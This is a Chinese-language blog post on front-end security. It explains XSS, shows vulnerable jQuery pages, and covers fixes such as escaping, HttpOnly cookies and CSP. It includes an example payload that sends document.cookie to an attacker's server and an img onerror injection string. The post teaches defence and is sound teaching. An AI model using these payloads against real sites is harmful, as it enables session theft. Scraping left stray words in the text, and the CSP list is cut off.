前端安全那些事

時間 2019-11-17

原文原文鏈接

寫在前面：web安全在當下是個不可避免的問題，想要完成一個「安全」的產品，須要先後端都作好抵禦攻擊和安全隱患的防禦，這裏筆者就前端安全的方面作一個較爲全面的攻略以待備用。javascript

##爲何要攻擊html

這裏引用一位大牛的話：開發者不可能確保本身的應用絕對沒法被攻擊，可是隻要攻擊咱們的時候，黑客花費的成本遠比他要能夠獲取的利益大得多，黑客就不會去攻擊。總而言之，提升咱們產品的安全係數，雖然不能作到「絕對」，但起碼能「很安全」。 ##前端攻擊都有哪些形式前端

###1：XXS攻擊 ####1.1 是什麼 百度百科的定義是：XSS是一種常常出如今web應用中的計算機安全漏洞，它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。所以咱們能夠直接理解爲一種javascript代碼注入。根據攻擊的來源，XSS 攻擊可分爲存儲型、反射型和DOM 型三種。 **那如何實現代碼注入呢？**咱們知道，當瀏覽器遇到html中的script標籤的時候，會解析並執行標籤中的js腳本代碼，那麼若是有心者在可輸入框中輸入含有script標籤的話，就能夠執行其中的代碼了。場景以下：java

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
  </head>
  <body>
    <input type="text" name="aa" id="aa" onchange="dochange()"/>
    <div id="text"></div>
    <script>
      let value = '';
      dochange = () => {
        value = document.getElementById("aa").value;
        $('div').html(value);
      }
    </script>
  </body>
</html>
複製代碼

能夠看到當使用jquery的DOM插入方法來顯示值的話，可以執行其中的html代碼。（這裏我還驗證了react的傳值方法，發現目前的主流框架已經作了一些處理不會發生此類狀況）。因此當有心者在輸入框中執行如下代碼，就能夠拿到用戶在這個域名下的cookie或者其餘隱私了。

$.ajax({
    url: '本身的服務器',
    dataType: 'jsonp',
    data: {'盜取的用戶cookie': document.cookie}
});
複製代碼

此類情況的解決方式 1.1.1 如何解決 1：將script標籤的左右尖括號(><)進行轉義再賦值。 2：經過前端輸入判斷禁止特殊字符的鍵入。 3：使用$.text()方法來動態賦值。 ##1.2 img標籤的注入 用戶分享圖片的正常狀況下，咱們會給img的src附上一個url地址做爲圖片的資源，可是若是咱們附上的地址爲\" onerror=\"javascript:alert('error');\"時，將會執行onerror裏的方法。這就引起了注入的攻擊。 1.1.2 如何解決 如1.1.1，對圖片地址再進行轉義。 ##1.3 url的注入 可能存在這樣的場景，就是有時候編程人員會直接從url獲取某些值做爲變量輸入，可是，這裏面存在一個風險，若是有心者在URL的這個參數中，加入js代碼，這樣便又會被執行。場景以下：react

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
  </head>
  <body>
    <input type="text" name="aa" id="aa" onchange="dochange()"/>
    <div id="text"></div>
    <script>
      let value = '';
      var param = window.location.search.split("?");
      value = decodeURI(param[1]);
        $('div').html(value);
    </script>
  </body>
</html>

複製代碼

1.1.3 如何解決 像這種從url中獲取的信息，筆者建議，最好由後端獲取，在前端轉義後再行輸出。避免直接從url上面讀取。另外連接跳轉，如 <a href="xxx" 或 location.href="xxx"，要檢驗其內容，禁止以 javascript: 開頭的連接，和其餘非法的 scheme ###1.4 保護好cookie 若是道高一尺，仍是不幸被攻擊者攻擊了，又該如何。其實，不少時候，咱們的敏感信息都是存儲在cookie中的（因此不要把用戶機密信息放在網頁中），想要阻止黑客經過js訪問到cookie中的用戶敏感信息。那麼請使用cookie的HttpOnly屬性，加上了這個屬性的cookie字段，js是沒法進行讀寫的，只能從後端獲取。（好像只能經過後端的方式來設置） ###1.5 設置內容安全策略 CSP其實就是一個白名單策略，容許的域才能加載，其餘一概拒絕。使用CSP有兩種模式：meta設置和http響應頭設置 meta設置jquery

**http響應頭設置** response: { Content-Security-Policy: "CSP指令" } >**CSP指令集合：** default-src // 默認規則，某些類型沒有特定規則時，則使用默認規則 script-src // javascript規則 style-src // 樣式規則 img-src // 圖片規則 connect-src // 連接規則，如ajax、websocket font-src // 字體規則 object-src // 標籤引入flash插件的規則 media-src //

相關標籤/搜索

每日一句

每一个你不满意的现在，都有一个你没有努力的曾经。